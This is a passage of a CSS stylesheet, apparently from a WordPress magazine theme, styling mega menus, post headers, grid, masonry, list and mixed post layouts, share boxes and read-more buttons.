ul.mega-menu-list li {
	position: relative;
	margin: 0;
	padding: 0;
	list-style: none;
	line-height: 1;
	margin-bottom: 15px
}
.post-entry ul.mega-menu-list li:last-child,
ul.mega-menu-list li:last-child {
	margin-bottom: 0 !important
}
.mega-menu-list>li>a {
	font-family: var(--pchead-font);
	font-weight: 700;
	text-transform: uppercase;
	position: relative
}
.mega-menu-list>li.heading-style-style-2>a {
	border-bottom: 3px solid var(--pctext-cl);
	padding: 0 0 8px;
	display: block
}
.mega-menu-list>li.heading-style-style-2>a:after {
	content: "";
	position: absolute;
	width: 40px;
	height: 3px;
	background-color: var(--pcaccent-cl);
	left: 0;
	bottom: -3px
}
.mega-menu-list>li.heading-style-style-3 {
	overflow: hidden
}
.mega-menu-list>li.heading-style-style-3>a {
	padding-right: 12px
}
.mega-menu-list>li.heading-style-style-3>a:after {
	position: absolute;
	content: "";
	width: 2000px;
	height: 0;
	top: 50%;
	left: 100%;
	border-bottom: 1px solid var(--pcborder-cl);
	z-index: 1
}
.mega-menu-list li a {
	position: relative;
	display: inline-block;
	padding: 0;
	margin: 0;
	text-decoration: none;
	color: var(--pctext-cl);
	line-height: unset
}
.mega-menu-list li a img {
	display: inline-block;
	width: auto;
	max-height: 20px
}
.mega-menu-list .menu-label {
	font-size: 9px;
	font-weight: 600;
	line-height: 12px;
	position: absolute;
	z-index: 1;
	top: calc(50% - 24px);
	left: 100%;
	display: inline-block;
	margin-left: -20px;
	padding: 3px 4px;
	vertical-align: middle;
	white-space: nowrap;
	letter-spacing: .3px;
	text-transform: uppercase;
	color: #fff;
	line-height: 1;
	background-color: var(--pcaccent-cl)
}
.mega-menu-list .menu-label.label-style-1:before,
.mega-menu-list .menu-label.label-style-2:before {
	position: absolute;
	top: 100%;
	left: 10px;
	content: "";
	border: 4px solid;
	border-color: var(--pcaccent-cl);
	border-right-width: 7px;
	border-right-color: transparent !important;
	border-bottom-color: transparent !important;
	border-left-width: 0
}
.mega-menu-list .menu-label.label-style-2:before {
	left: 0;
	border-right-width: 5px
}
.mega-menu-list .menu-label.label-style-3 {
	top: calc(50% - 8px);
	left: 100%;
	margin-left: 5px;
	border-color: var(--pcaccent-cl)
}
.mega-menu-list .menu-label.label-style-3:before {
	position: absolute;
	top: calc(50% - 4px);
	left: -4px;
	content: "";
	border-width: 4px 4px 4px 0;
	border-style: solid;
	border-color: var(--pcaccent-cl);
	border-top-color: transparent !important;
	border-bottom-color: transparent !important;
	border-left-color: transparent !important
}
.mega-menu-list .menu-label.label-style-4:before {
	position: absolute;
	right: 50%;
	bottom: -4px;
	left: 50%;
	margin-left: -3px;
	content: "";
	border-width: 4px 3px 0 3px;
	border-style: solid;
	border-color: var(--pcaccent-cl);
	border-right-color: transparent !important;
	border-bottom-color: transparent !important;
	border-left-color: transparent !important
}
ul.pcmg-subcol-2>li {
	display: block;
	float: left;
	width: calc(50% - var(--pcmega-colspace)/ 2);
	margin-right: var(--pcmega-colspace)
}
ul.pcmg-subcol-3>li {
	display: block;
	float: left;
	width: calc(33.3333% - var(--pcmega-colspace)/ 3 * 2);
	margin-right: var(--pcmega-colspace)
}
ul.pcmg-subcol-2>li:nth-child(2n+2),
ul.pcmg-subcol-3>li:nth-child(3n+3) {
	margin-right: 0
}
ul.pcmg-subcol-2>li:nth-child(2n+1),
ul.pcmg-subcol-3>li:nth-child(3n+1) {
	clear: both
}
ul.pcmg-subcol-2>li:nth-last-child(2),
ul.pcmg-subcol-3>li:nth-last-child(2),
ul.pcmg-subcol-3>li:nth-last-child(3) {
	margin-bottom: 0 !important
}
.standard-post-special {
	position: relative;
	margin: 0 0 26px 0
}
.standard-content-special {
	padding: 0;
	text-align: center;
	background: #fff;
	display: block;
	box-shadow: 0 0 10px 3px rgba(0, 0, 0, .2);
	-webkit-box-shadow: 0 0 10px 3px rgba(0, 0, 0, .2);
	-moz-box-shadow: 0 0 10px 3px rgba(0, 0, 0, .2)
}
.standard-post-special.no-thumbnail .standard-content-special {
	box-shadow: none;
	-webkit-box-shadow: none;
	-moz-box-shadow: none;
	border: 1px solid #ececec
}
.format-post-box {
	display: block;
	padding: 52px 30px 21px 30px;
	position: relative
}
.format-post-box.penci-format-link {
	padding-top: 19px
}
.format-post-box .post-format-icon {
	position: absolute;
	width: 100%;
	text-align: center;
	display: block;
	top: 16px;
	margin-left: -30px
}
.format-post-box.penci-format-link .post-format-icon {
	display: none
}
.format-post-box .post-format-icon i {
	font-size: 35px;
	padding: 0 20px;
	display: inline-block;
	color: var(--pcaccent-cl)
}
.format-post-box .post-format-icon i.fa-quote-left:before {
	content: "\f101";
	font-family: penciicon;
	font-size: 26px;
	font-weight: 400
}
.format-post-box .dt-special,
.format-post-box .dt-special a {
	color: #888;
	font-size: 112.5%;
	font-style: italic
}
.format-post-box.penci-format-quote .dt-special {
	text-align: center;
	font-style: italic;
	font-size: 18px
}
.format-post-box .dt-special a:hover {
	color: var(--pcaccent-cl)
}
.author-quote {
	margin: 15px 0 5px;
	text-align: center;
	display: block;
	overflow: hidden
}
.author-quote span {
	display: inline-block;
	font-size: 12px;
	padding: 0 11px;
	position: relative;
	color: var(--pcaccent-cl);
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	text-transform: uppercase
}
.author-quote span:after,
.author-quote span:before {
	position: absolute;
	content: "";
	width: 60px;
	height: 1px;
	top: 50%;
	left: 100%;
	background: var(--pcaccent-cl)
}
.author-quote span:before {
	left: auto;
	right: 100%
}
.standard-post-image {
	margin: 0 0 26px 0;
	text-align: center;
	display: block;
	position: relative
}
.standard-content-special,
.standard-post-image .audio-iframe {
	position: absolute;
	left: 30px;
	right: 30px;
	bottom: 30px;
	display: block
}
.standard-post-image.no-thumbnail .audio-iframe,
.standard-post-special.no-thumbnail .standard-content-special {
	position: static
}
.standard-post-image img {
	vertical-align: top;
	max-width: 100%;
	height: auto
}
.header-standard {
	text-align: center;
	padding-bottom: 17px;
	position: relative;
	margin: 0 0 19px 0
}
.header-standard:after {
	content: "";
	position: absolute;
	width: 60px;
	height: 1px;
	background: var(--pcaccent-cl);
	display: block;
	bottom: 0;
	left: 50%;
	margin-left: -30px
}
.header-standard-wrapper {
	display: flex;
	flex-wrap: wrap;
	justify-content: center;
	align-items: center;
	column-gap: 30px;
	margin-bottom: 6px;
}
.header-standard-wrapper > div {
	margin: 0;
}
.header-standard-wrapper > div .cat > a.penci-cat-name {
	margin-bottom: 0;
	font-size: 14px;
}
.penci-standard-cat {
	overflow: hidden;
	display: block;
	margin-bottom: 6px
}
.header-standard .cat {
	display: inline-block;
	position: relative
}
.pc_titlebig_standard,
.pc_titlebig_standard a,
.header-standard .post-title,
.header-standard h2,
.header-standard h2 a {
	color: #313131;
	font-size: 24px;
	text-transform: uppercase
}
.container-single .header-standard h2.penci-psub-title,
.container-single h2.penci-psub-title,
.pcsb-subtt .penci-psub-title {
	letter-spacing: 0;
	text-transform: none;
	font-size: 18px;
	line-height: 1.3;
	margin: 8px 0;
	color: #777
}
.pcsb-subtt .penci-psub-title {
	margin: 0
}
@media only screen and (min-width:768px) {
	.penci-header-text-white .header-standard h2.penci-psub-title,
	.penci-single-style-10.penci-header-text-white .header-standard h2.penci-psub-title,
	.penci-single-style-20.penci-header-text-white .header-standard h2.penci-psub-title,
	.penci-single-style-13.penci-header-text-white .header-standard h2.penci-psub-title {
		color: #ccc
	}
}
@media only screen and (max-width:767px) {
	.container-single .header-standard h2.penci-psub-title,
	.container-single h2.penci-psub-title {
		font-size: 16px
	}
}
.pc_titlebig_standard a:hover,
.header-standard h2 a:hover {
	color: #888
}
.header-standard .author-post > span {
	color: #888
}
.header-standard .author-post {
	margin: 6px 0 0;
	font-size: 14px
}
.header-standard .author-post span,
.header-standard .author-post span a {
	font-size: inherit
}
.header-standard .author-post span a:not(.penci-cat-name) {
	color: #313131;
	text-transform: capitalize
}
.header-standard .author-post span a:hover {
	color: var(--pcaccent-cl)
}
.header-standard .author-post span a.penci-cat-name {
	margin-bottom: 0;
  	line-height: inherit;
}
.standard-content {
	position: relative
}
.standard-main-content {
	text-align: left
}
.penci-more-link {
	text-align: center;
	overflow: hidden;
	clear: both
}
.penci-more-link a.more-link {
	font-family: var(--pchead-font);
	color: var(--pcaccent-cl);
	text-transform: uppercase;
	font-size: 12px;
	display: inline-block;
	margin-top: 5px;
	font-weight: var(--pchead-wei);
	position: relative;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s
}
.standard-post-entry a.more-link:hover {
	text-decoration: none
}
.penci-more-link a.more-link:after,
.penci-more-link a.more-link:before {
	position: absolute;
	content: "";
	width: 60px;
	height: 0;
	top: 50%;
	left: 100%;
	margin: 0 10px;
	margin-top: -1px;
	border-top: 1px solid var(--pcaccent-cl);
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s
}
.penci-more-link a.more-link:before {
	left: auto;
	right: 100%
}
.penci-more-link a.more-link:hover:before {
	right: 50%;
	margin-right: -10px;
	width: 90px
}
.penci-more-link a.more-link:hover:after {
	left: 50%;
	margin-left: -10px;
	width: 90px
}
.penci-more-link.penci-more-link-button {
	margin-top: 17px
}
.penci-more-link.penci-more-link-button a.more-link:after,
.penci-more-link.penci-more-link-button a.more-link:before {
	content: none;
	display: none
}
.penci-more-link.penci-more-link-button a.more-link {
	line-height: 1;
	color: #fff;
	background: var(--pcaccent-cl);
	padding: 14px 16px;
	margin-top: 0
}
.penci-more-link.penci-more-link-button a.more-link:hover {
	opacity: .8
}
.penci-post-box-meta {
	padding: 15px 0;
	clear: both;
	display: block;
	border-top: 1px solid var(--pcborder-cl);
	border-bottom: 1px solid var(--pcborder-cl);
	margin: 30px 0 0
}
.penci-post-box-meta.center-inner {
	text-align: center
}
.penci-post-box-meta.center-inner .penci-post-share-box {
	float: none
}
.penci-post-box-meta .penci-box-meta {
	display: inline-block;
	font-size: 14px
}
.penci-hide-tagupdated {
	display: none !important
}
.penci-post-box-meta .penci-box-meta a,
.penci-post-box-meta .penci-box-meta span {
	color: #888
}
.grid-post-box-meta i,
.penci-post-box-meta .penci-box-meta i {
	margin-right: 5px
}
.penci-post-box-meta .penci-box-meta a:hover {
	color: var(--pcaccent-cl)
}
.penci-post-box-meta .penci-box-meta span:after {
	content: "";
	width: 0;
	height: 10px;
	margin: 0 16px 0 20px;
	display: inline-block;
	background: 0 0 !important;
	border-right: 1px solid;
	opacity: .7
}
.penci-post-box-meta .penci-box-meta span:last-child:after {
	content: none;
	display: none
}
.penci-post-box-meta .penci-post-share-box {
	display: inline-block;
	float: right
}
.penci-post-box-meta .penci-post-share-box a {
	display: inline-block;
	position: relative;
	color: #313131;
	margin-left: 10px;
	font-size: 14px
}
.penci-post-box-meta .penci-post-share-box a:first-child {
	margin-left: 0
}
.penci-post-share-box a.liked,
.penci-post-share-box a:hover {
	color: var(--pcaccent-cl)
}
.penci-post-share-box .dt-share {
	position: absolute;
	display: inline-block;
	font-size: 9px;
	font-family: var(--pchead-font);
	font-weight: 400;
	background: #313131;
	color: #fff;
	height: 20px;
	line-height: 20px;
	white-space: nowrap;
	text-align: center;
	bottom: -45px;
	width: 60px;
	left: 50%;
	margin-left: -30px;
	opacity: 0;
	visibility: hidden;
	transition: all .2s ease-in-out;
	-webkit-transition: all .2s ease-in-out;
	-moz-transition: all .2s ease-in-out;
	z-index: 5
}
.penci-post-share-box a:hover .dt-share {
	opacity: 1;
	bottom: -30px;
	visibility: visible
}
.penci-post-share-box .dt-share:before {
	position: absolute;
	width: 0;
	height: 0;
	border-left: 5px solid transparent;
	border-right: 5px solid transparent;
	border-bottom: 7px solid #313131;
	content: "";
	top: -7px;
	left: 50%;
	margin-left: -4px
}
.penci-post-like.liked i:before {
	content: "\f004"
}
.penci-fawesome-ver5 .penci-post-like.liked i:before {
	font-weight: 900
}
.list-posts-share .penci-svg-line,
.penci-post-share-box .penci-svg-line {
	vertical-align: top;
	transform: translateY(2px);
	-webkit-transform: translateY(2px)
}
.list-posts-share .penci-svg-viber,
.penci-post-share-box .penci-svg-viber {
	vertical-align: top;
	transform: translateY(4px);
	-webkit-transform: translateY(4px)
}
.penci-svg-discord,
.penci-svg-goodreads,
.penci-svg-line,
.penci-svg-messenger,
.penci-svg-tiktok,
.penci-svg-viber {
	width: 14px;
	vertical-align: middle
}
.post-share-item.show-on-mobile {
	display: none
}
@media only screen and (max-width:960px) {
	.post-share-item.show-on-desktop {
		display: none
	}
}
.header-standard.header-classic {
	margin: 0 0 26px 0;
	padding: 0
}
.header-standard.header-classic:after {
	content: none;
	display: none
}
.header-standard.header-classic.penci-title-bellow {
	margin-bottom: 40px
}
ul.penci-grid {
	display: flex;
	flex-wrap: wrap;
	row-gap: 0;
	--pcrgap: 30px;
	column-gap: var(--pcrgap);
	padding: 0 !important;
	margin: 0
}
@media only screen and (min-width: 768px) {
	ul.penci-grid[data-layout="boxed-2"] {
		row-gap: var(--pcrgap);
	}
}
.penci-grid>li {
	width: calc((100% - var(--pcrgap) * 2)/ 3);
	margin-bottom: 51px;
	list-style: none !important
}
.sd-content ul li {
	clear: none !important;
	width: auto !important
}
.penci-grid>li.grid-style {
	text-align: center
}
.container.penci_sidebar .penci-grid>li,
.penci-grid>li.grid-2-style {
	width: calc((100% - var(--pcrgap))/ 2)
}
.penci-lposts-ctcol.pencisc-grid-1 .penci-grid>li,
.penci-lposts-ctcol.pencisc-grid-2 .penci-grid>li,
.penci-lposts-ctcol.pencisc-grid-3 .penci-grid>li,
.penci-lposts-ctcol.pencisc-grid-4 .penci-grid>li,
.penci-lposts-ctcol.pencisc-grid-5 .penci-grid>li,
.penci-lposts-ctcol.pencisc-grid-6 .penci-grid>li {
	width: 100%;
	margin-bottom: 0;
	margin-right: 0
}
.penci-grid li .item>.thumbnail,
.penci-masonry .item-masonry>.thumbnail {
	display: inline-block;
	position: relative;
	transition: opacity .3s;
	-webkit-transition: opacity .3s;
	-moz-transition: opacity .3s;
	margin-bottom: 28px;
	width: 100%
}
.grid-mixed .thumbnail .icon-post-format,
.pcsl-thumb .icon-post-format,
.penci-grid li .item .thumbnail .icon-post-format,
.penci-masonry .item-masonry>.thumbnail .icon-post-format {
	position: absolute;
	z-index: 2;
	text-align: center;
	display: inline-block;
	width: 42px;
	height: 42px;
	line-height: 38px;
	top: 50%;
	left: 50%;
	margin: -21px 0 0 -21px;
	font-size: 16px;
	opacity: 1;
	color: rgba(255, 255, 255, .9);
	background: #fff;
	border-radius: 50%;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	background: rgba(0, 0, 0, .4);
	border: 2px solid rgba(255, 255, 255, .9)
}
.pcsl-thumb .icon-post-format {
	width: 34px;
	height: 34px;
	line-height: 30px;
	margin: -17px 0 0 -17px;
	font-size: 14px
}
.pcsl-thumb .icon-post-format i.fa-play,
.penci-grid li .item .thumbnail .icon-post-format i.fa-play,
.penci-masonry .item-masonry>.thumbnail .icon-post-format i.fa-play {
	margin-left: 3px
}
.grid-mixed .thumbnail:hover .icon-post-format,
.pcsl-thumb:hover .icon-post-format,
.penci-grid li .item>.thumbnail:hover .icon-post-format,
.penci-masonry .item-masonry>.thumbnail:hover .icon-post-format {
	opacity: 0;
	transform: scale(.5);
	-webkit-transform: scale(.5);
	-moz-transform: scale(.5)
}
.grid-mixed .thumbnail:hover,
.penci-grid li .item>.thumbnail:hover,
.penci-masonry .item-masonry>.thumbnail:hover {
	opacity: .85
}
.penci-grid li .item img,
.penci-masonry .item-masonry a img {
	width: 100%;
	height: auto;
	vertical-align: top;
	margin: 0
}
.penci-grid li .item .cat,
.penci-masonry .item-masonry .cat {
	color: var(--pcaccent-cl);
	display: block;
	margin-bottom: 8px
}
.penci-masonry .item-masonry .grid-post-box-meta .cat,
.penci-grid li .item .grid-post-box-meta .cat {
	display: inline-block;
	margin-bottom: 0;
}
.penci-masonry .item-masonry .grid-post-box-meta .cat > a.penci-cat-name,
.penci-grid li .item .grid-post-box-meta .cat > a.penci-cat-name {
	margin-bottom: 0;
	line-height: inherit;
	font-size: inherit;
}
.penci_grid_title a,
.penci-grid li .item h2 a,
.penci-masonry .item-masonry h2 a {
	font-size: 18px;
	color: var(--pcheading-cl);
	text-transform: uppercase;
	transition: .3s;
}
.penci_grid_title a:hover,
.penci-grid li .item h2 a:hover,
.penci-masonry .item-masonry h2 a:hover {
	color: #888
}
.penci-grid li .item p,
.penci-masonry .item-masonry p {
	margin-bottom: 0
}
.penci-grid .mixed-detail .item-content,
.penci-grid li .item .item-content,
.penci-masonry .item-masonry .item-content {
	margin-top: 18px;
	text-align: left
}
.penci-post-box-meta.penci-post-box-grid {
	border: none !important;
	padding: 0;
	text-align: center;
	position: relative;
	margin-top: 16px;
	clear: none
}
.penci-post-box-meta.penci-post-box-grid:before {
	content: "";
	position: absolute;
	width: 100%;
	left: 0;
	height: 1px;
	background: #dedede;
	display: block;
	top: 49%;
	z-index: 1
}
.penci-post-box-meta.penci-post-box-grid .penci-post-share-box {
	float: none !important;
	padding: 0 10px;
	position: relative;
	z-index: 5;
	background: #fff;
	display: inline-block;
	margin-top: 0
}
.grid-header-box {
	padding-bottom: 17px;
	position: relative
}
.grid-header-box:after {
	width: 60px;
	height: 1px;
	background: var(--pcaccent-cl);
	margin-left: -30px;
	position: absolute;
	left: 50%;
	bottom: 0;
	content: ""
}
.grid-boxed-4-item .grid-header-box::after {
	display: none;
}
.penci-grid li.grid-overlay-meta .item>.thumbnail,
.penci-masonry .item-masonry.grid-overlay-meta>.thumbnail {
	margin-bottom: 0;
	vertical-align: top
}
.grid-overlay-meta .grid-header-box {
	margin: -30px 25px 0;
	background: #fff;
	padding-top: 25px;
	padding-left: 5px;
	padding-right: 5px;
	z-index: 10;
	position: relative
}
.penci-featured-cat-seemore,
.penci-readmore-btn {
	margin-top: 10px;
	display: block;
	text-align: left
}
.penci-featured-cat-seemore {
	clear: both;
	margin: -40px 0 60px;
	line-height: 1
}
.penci-seemore-style-8 {
	margin-top: -20px
}
.penci-featured-cat-seemore a,
.penci-readmore-btn a {
	transition: .3s;
	-webkit-transition: .3s;
	-moz-transition: .3s;
	line-height: inherit
}
.penci-featured-cat-seemore a:hover,
.penci-readmore-btn a:hover {
	opacity: .7
}
.penci-featured-cat-seemore i,
.penci-readmore-btn i {
	margin-left: 5px;
	font-size: inherit;
	color: inherit
}
.penci-readmore-btn.penci-btn-make-button {
	margin-top: 21px
}
.penci-featured-cat-seemore.penci-btn-remove-arrow i,
.penci-readmore-btn.penci-btn-remove-arrow i {
	display: none
}
.penci-featured-cat-seemore.penci-btn-make-button a,
.penci-readmore-btn.penci-btn-make-button a {
	line-height: 1;
	color: #fff;
	background: var(--pcaccent-cl);
	padding: 10px 15px;
	text-transform: uppercase;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	font-size: 12px;
	display: inline-block
}
.penci-featured-cat-seemore.penci-btn-align-center,
.penci-readmore-btn.penci-btn-align-center {
	text-align: center
}
.penci-featured-cat-seemore.penci-btn-align-left,
.penci-readmore-btn.penci-btn-align-left {
	text-align: left
}
.penci-featured-cat-seemore.penci-btn-align-right,
.penci-readmore-btn.penci-btn-align-right {
	text-align: right
}
.penci-wrap-masonry {
	margin-left: -15px;
	margin-right: -15px
}
.penci-masonry {
	width: 100%;
	display: inline-block;
	vertical-align: top
}
.penci-masonry .item-masonry {
	box-sizing: border-box;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	width: 33.3333%;
	display: inline-block;
	padding: 0 15px;
	float: left;
	margin-bottom: 51px;
	text-align: center
}
.penci-isotope-padding {
	display: block !important;
	overflow: hidden;
	background-repeat: no-repeat;
	background-position: center center;
	background-size: cover;
	-webkit-background-size: cover
}
.item-link-relative,
.penci-post-gallery-container .item-link-relative {
	position: relative;
	display: block;
	vertical-align: top
}
.item-link-relative>img,
.item-masonry a img,
.penci-post-gallery-container .item-link-relative img {
	position: absolute;
	left: 0;
	right: 0;
	top: 0;
	bottom: 0;
	display: block;
	z-index: 1;
	width: 100%
}
.container.penci_sidebar .penci-masonry .item-masonry,
.container.penci_sidebar .penci-masonry[data-cols="2"] .item-masonry,
.penci-masonry .item-masonry.grid-masonry-2,
.penci-masonry[data-cols="2"] .item-masonry {
	width: 50%
}
.penci-masonry .item-masonry .thumbnail>a {
	display: inline-block;
	vertical-align: top;
	width: 100%
}
.container.penci_sidebar .penci-masonry[data-cols="6"] .item-masonry,
.penci-masonry[data-cols="6"] .item-masonry,
.pencisc-grid-6 .penci-masonry .item-masonry {
	width: 16.6666667%
}
.container.penci_sidebar .penci-masonry[data-cols="5"] .item-masonry,
.penci-masonry[data-cols="5"] .item-masonry,
.pencisc-grid-5 .penci-masonry .item-masonry {
	width: 20%
}
.container.penci_sidebar .penci-masonry[data-cols="4"] .item-masonry,
.penci-masonry[data-cols="4"] .item-masonry,
.pencisc-grid-4 .penci-masonry .item-masonry {
	width: 25%
}
.container.penci_sidebar .penci-masonry[data-cols="3"] .item-masonry,
.penci-masonry[data-cols="3"] .item-masonry,
.pencisc-grid-3 .penci-masonry .item-masonry {
	width: 33.3333%
}
.container.penci_sidebar .penci-masonry[data-cols="2"] .item-masonry,
.penci-masonry[data-cols="2"] .item-masonry,
.pencisc-grid-2 .penci-masonry .item-masonry {
	width: 50%
}
.container.penci_sidebar .penci-masonry[data-cols="1"] .item-masonry,
.penci-masonry[data-cols="1"] .item-masonry,
.pencisc-grid-1 .penci-masonry .item-masonry {
	width: 100%
}
.penci-masonry .standard-masonry {
	width: 50%
}
.standard-masonry .standard-main-content>h2 {
	font-size: 20px
}
.standard-masonry .standard-main-content>h2:before {
	height: 18px;
	top: 3px
}
.penci-masonry .item-masonry.standard-masonry .cat a {
	margin-bottom: 13px
}
.standard-masonry .post-box-meta {
	margin-top: 14px
}
.cat>a.penci-cat-name {
	font-size: 13px;
	color: var(--pcaccent-cl);
	line-height: 1.2;
	margin: 0 15px 0 0;
	padding-right: 10px;
	display: inline-block;
	vertical-align: top;
	background: 0 0;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	font-weight: 400;
	margin-bottom: 5px;
	position: relative;
	text-decoration: none
}
.cat>a.penci-cat-name:after {
	content: "";
	display: inline-block;
	border: 1px solid;
	font-size: 12px;
	margin-left: 10px;
	position: absolute;
	top: 50%;
	margin-top: -3px;
	width: 3px;
	height: 3px;
	transform: rotate(45deg);
	-moz-transform: rotate(45deg);
	-webkit-transform: rotate(45deg);
	box-sizing: unset;
	-webkit-box-sizing: unset;
	opacity: .65
}
.cat>a.penci-cat-name:first-child {
	margin-left: 0
}
.cat>a.penci-cat-name:last-child {
	margin-right: 0;
	padding: 0
}
.cat>a.penci-cat-name:last-child:after {
	content: none;
	display: none
}
.penci-grid li.list-post {
	width: 100% !important;
	margin-right: 0 !important;
	padding-bottom: 40px;
	margin-bottom: 40px;
	border-bottom: 1px solid #dedede
}
.penci-grid li.list-post .item {
	width: 100%
}
.penci-grid li.list-post:last-child {
	margin-bottom: 40px;
	padding-bottom: 0;
	border-bottom: none
}
.penci-grid li.list-post .item>.thumbnail {
	margin: 0;
	width: 46.25%;
	float: left;
	max-width: 100%
}
.pc-has-thumb.pc-list-imgright article {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row-reverse;
}
.pc-has-thumb.pc-list-imgright article .thumbnail {
	align-self: start;
}
.penci-grid li.pclist-layout.pc-has-thumb.pc-list-imgright .item .content-list-right {
	padding-left: 0;
	padding-right: 30px;
}
.penci-latest-posts-sc .penci-grid li.list-post .item>.thumbnail {
	max-width: 100%
}
.penci-grid li.list-post .item .content-list-right {
	margin: 0;
	padding-left: 30px;
	width: 53.75%;
	float: left
}
.penci-grid li.list-post .item .content-list-right.fullwidth {
	padding: 0 !important;
	width: 100% !important
}
.penci-grid[data-layout=list-boxed] li.list-post.pc-nothumb .item {
	border-left: 1px solid var(--pcborder-cl);
	padding-left: 20px
}
.penci-grid[data-layout=list-boxed-2] li.list-post.pc-nothumb .item {
	border-right: 1px solid var(--pcborder-cl);
	padding-right: 20px
}
.list-post .header-list-style {
	position: relative;
	padding-bottom: 17px
}
.list-post .header-list-style:after {
	content: "";
	width: 60px;
	height: 1px;
	background: var(--pcaccent-cl);
	display: block;
	bottom: 0;
	left: 0;
	position: absolute
}
.content-special-list {
	width: 100%;
	display: block;
	padding: 30px;
	background-size: cover;
	background-position: center center;
	position: relative
}
.content-special-list.no-thumbnail {
	padding: 0
}
.content-special-list .standard-content-special {
	position: relative;
	left: auto;
	top: auto;
	bottom: auto;
	right: auto
}
.content-special-list.no-thumbnail .standard-content-special {
	box-shadow: none;
	-webkit-box-shadow: none;
	-moz-box-shadow: none;
	border: 1px solid #ececec
}
.list-post.penci-slistp .header-list-style {
	padding-bottom: 5px
}
.penci-grid li.list-post.penci-slistp .item>.thumbnail {
	width: 160px;
	max-width: 100%;
	margin-right: 16px;
	float: left
}
.penci-grid li.list-post.penci-slistp .item .content-list-right {
	display: block;
	float: none !important;
	overflow: hidden;
	width: auto !important;
	padding-left: 0 !important;
	padding-right: 0 !important
}
.list-post.penci-slistp .header-list-style:after {
	content: none;
	display: none
}
.penci-grid li.list-post.penci-slistp {
	padding-bottom: 15px;
	margin-bottom: 15px
}
.penci-latest-posts-small-list li.penci-slistp:last-child {
	padding-bottom: 0 !important
}
.penci-latest-posts-mixed-3 .penci-grid li.penci-slistp,
.penci-latest-posts-mixed-4 .penci-grid li.penci-slistp,
.penci-layout-mixed-3 .penci-grid li.penci-slistp,
.penci-layout-mixed-4 .penci-grid li.penci-slistp {
	padding-bottom: 0;
	margin-bottom: 0;
	padding-top: 15px;
	border-bottom: none;
	border-top: 1px solid var(--pcborder-cl)
}
.penci-latest-posts-mixed-3 .penci-grid li.penci-slistp~.penci-slistp,
.penci-latest-posts-mixed-4 .penci-grid li.penci-slistp~.penci-slistp,
.penci-layout-mixed-3 .penci-grid li.penci-slistp~.penci-slistp,
.penci-layout-mixed-4 .penci-grid li.penci-slistp~.penci-slistp {
	margin-top: 15px
}
.penci-latest-posts-mixed-3 .penci-grid li.list-post.penci-slistp:last-child,
.penci-latest-posts-mixed-4 .penci-grid li.list-post.penci-slistp:last-child,
.penci-layout-mixed-3 .penci-grid li.list-post.penci-slistp:last-child,
.penci-layout-mixed-4 .penci-grid li.list-post.penci-slistp:last-child {
	margin-bottom: 30px
}
.post-entry li.penci-slistp .grid-post-box-meta {
	line-height: 1.3;
	margin-top: 10px
}
.penci-grid li.penci-slistp .item .thumbnail .icon-post-format {
	width: 32px;
	height: 32px;
	line-height: 30px;
	margin: -16px 0 0 -16px;
	font-size: 14px;
	left: 50%;
	right: auto
}
.grid-mixed {
	display: table;
	width: 100%;
	vertical-align: top;
	border: 1px solid var(--pcborder-cl);
	margin-bottom: 60px
}
.grid-mixed>article {
	width: 100%;
	display: table
}
.grid-mixed .mixed-detail,
.grid-mixed .thumbnail {
	display: table-cell;
	vertical-align: top
}
.grid-mixed .thumbnail.thumb-right {
	display: none
}
.penci-grid>.grid-mixed:nth-of-type(2n) .thumbnail.thumb-right {
	display: table-cell
}
.penci-grid>.grid-mixed:nth-of-type(2n) .thumbnail.thumb-left {
	display: none
}
.grid-mixed .thumbnail {
	width: 65.812%;
	transition: opacity .3s;
	-webkit-transition: opacity .3s;
	-moz-transition: opacity .3s;
	position: relative
}
.grid-mixed .mixed-detail {
	width: 34.188%;
	padding: 30px;
	padding-bottom: 115px;
	position: relative
}
.grid-mixed .mixed-detail .cat {
	margin-bottom: 8px;
	display: block
}
.grid-mixed .mixed-detail h2 a {
	font-size: 18px;
	text-transform: uppercase;
	color: #313131
}
.grid-mixed .mixed-detail h2 a:hover {
	color: #888
}
.grid-mixed .grid-header-box:after {
	left: 0;
	margin: 0
}
.grid-mixed .penci-post-box-meta {
	margin: 0 0 4px 0;
	position: absolute;
	left: 30px;
	bottom: 30px;
	right: 30px;
	display: block
}
.penci-el-mixed-s2 .grid-mixed .mixed-detail,
.penci-el-mixed-s2 .grid-mixed .thumbnail.thumb-left,
.penci-latest-posts-sc .grid-mixed .mixed-detail,
.penci-latest-posts-sc .grid-mixed .thumbnail.thumb-left,
.penci_sidebar .grid-mixed .mixed-detail,
.penci_sidebar .grid-mixed .thumbnail.thumb-left {
	display: block !important;
	width: 100%
}
@media only screen and (min-width:961px) {
	.penci-latest-posts-mixed-larger .grid-mixed .thumbnail.thumb-left {
		width: 65.812%
	}
	.penci-latest-posts-mixed-larger .grid-mixed .mixed-detail {
		width: 34.188%
	}
	.penci-latest-posts-mixed-larger .grid-mixed .mixed-detail,
	.penci-latest-posts-mixed-larger .grid-mixed .thumbnail.thumb-left {
		display: table-cell !important;
		vertical-align: top
	}
	.penci-latest-posts-mixed-larger .grid-mixed.pcmx-hide-share .mixed-detail {
		padding-bottom: 30px;
		vertical-align: middle;
	}
}
.penci_sidebar .grid-mixed .mixed-detail {
	padding: 30px
}
.penci_sidebar .grid-mixed .penci-post-box-meta {
	position: relative;
	margin: 31px 0 4px;
	left: auto;
	right: auto;
	bottom: auto
}
.penci-el-mixed-s2 .grid-mixed .thumbnail.thumb-right,
.penci-latest-posts-sc .grid-mixed .thumbnail.thumb-right,
.penci_sidebar .grid-mixed .thumbnail.thumb-right {
	display: none !important
}
.penci-el-mixed-s2 .penci-grid>li {
	width: calc((100% - var(--pcrgap))/ 2)
}
.penci-grid .list-post.list-boxed-post {
	position: relative;
	padding-bottom: 0;
	border: 1px solid #dedede !important;
	margin-bottom: 60px
}
.penci-post-box-meta.post-box-boxed-1 {
	margin: 31px 0 0;
	text-align: left
}
.list-post.list-boxed-post .header-list-style:after,
